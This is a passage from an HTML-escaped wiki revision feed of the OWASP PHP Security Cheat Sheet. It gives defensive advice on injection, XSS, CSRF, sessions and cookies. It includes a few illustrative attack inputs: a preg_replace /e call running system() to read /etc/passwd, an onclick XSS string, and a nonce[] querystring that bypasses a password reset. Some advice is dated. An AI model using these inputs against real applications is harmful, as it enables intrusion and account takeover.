 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165432</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165432"/>
				<updated>2014-01-06T16:14:38Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web&lt;br /&gt;
servers deploy PHP. PHP is open source.&lt;br /&gt;
&lt;br /&gt;
PHP is unusual in that it is both a language and a web framework, in that it&lt;br /&gt;
comes with the typical features of a web framework built-in. Like all web&lt;br /&gt;
languages, there is also a large community of libraries etc., which also&lt;br /&gt;
contribute to the security (or otherwise) of programming in PHP. All 3 aspects&lt;br /&gt;
need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to&lt;br /&gt;
write secure PHP applications. These are difficult to work around if you are&lt;br /&gt;
forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an&lt;br /&gt;
incorrect type into the expected type. This feature very often masks errors by&lt;br /&gt;
the developer or injections of unexpected data, leading to vulnerabilities (see&lt;br /&gt;
below under &amp;quot;Input handling&amp;quot; for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions&lt;br /&gt;
(e.g. === and not ==). Not all operators have strict versions, and many built-in&lt;br /&gt;
functions (like 'in_array') use weakly typed comparison functions, making it&lt;br /&gt;
difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but&lt;br /&gt;
instead report errors in other ways (such as via notices) that allow the faulty&lt;br /&gt;
code to carry on running. This has the effect of masking many bugs. In other&lt;br /&gt;
languages, error conditions that are caused by developer errors will cause the&lt;br /&gt;
program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]&lt;br /&gt;
function, and never attempt to suppress error messages - always follow the&lt;br /&gt;
warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many&lt;br /&gt;
configuration settings, including fundamental changes to things like how errors&lt;br /&gt;
are handled. This can make it very difficult to write code that works correctly&lt;br /&gt;
in all circumstances. Different libraries can have different expectations or&lt;br /&gt;
requirements about these settings, making it difficult to correctly use 3rd&lt;br /&gt;
party code. Some are mentioned below under 'Configuration'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many builtin functions like 'addslashes', 'mysql_escape_string' and&lt;br /&gt;
'mysql_real_escape_string' which appear to provide security, but are often buggy and,&lt;br /&gt;
in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these builtins are being deprecated and removed, but due to backwards compatibility&lt;br /&gt;
policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP's built-in URL routing mechanism is to use files ending in &amp;quot;.php&amp;quot; in the&lt;br /&gt;
directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. strcmp() will then return&lt;br /&gt;
NULL (instead of throwing an exception, which would be much more useful), and then&lt;br /&gt;
due to weak typing and the '==' operator instead of '===', the&lt;br /&gt;
comparison succeeds (since &amp;quot;NULL == 0&amp;quot; is true according to PHP), and the&lt;br /&gt;
attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
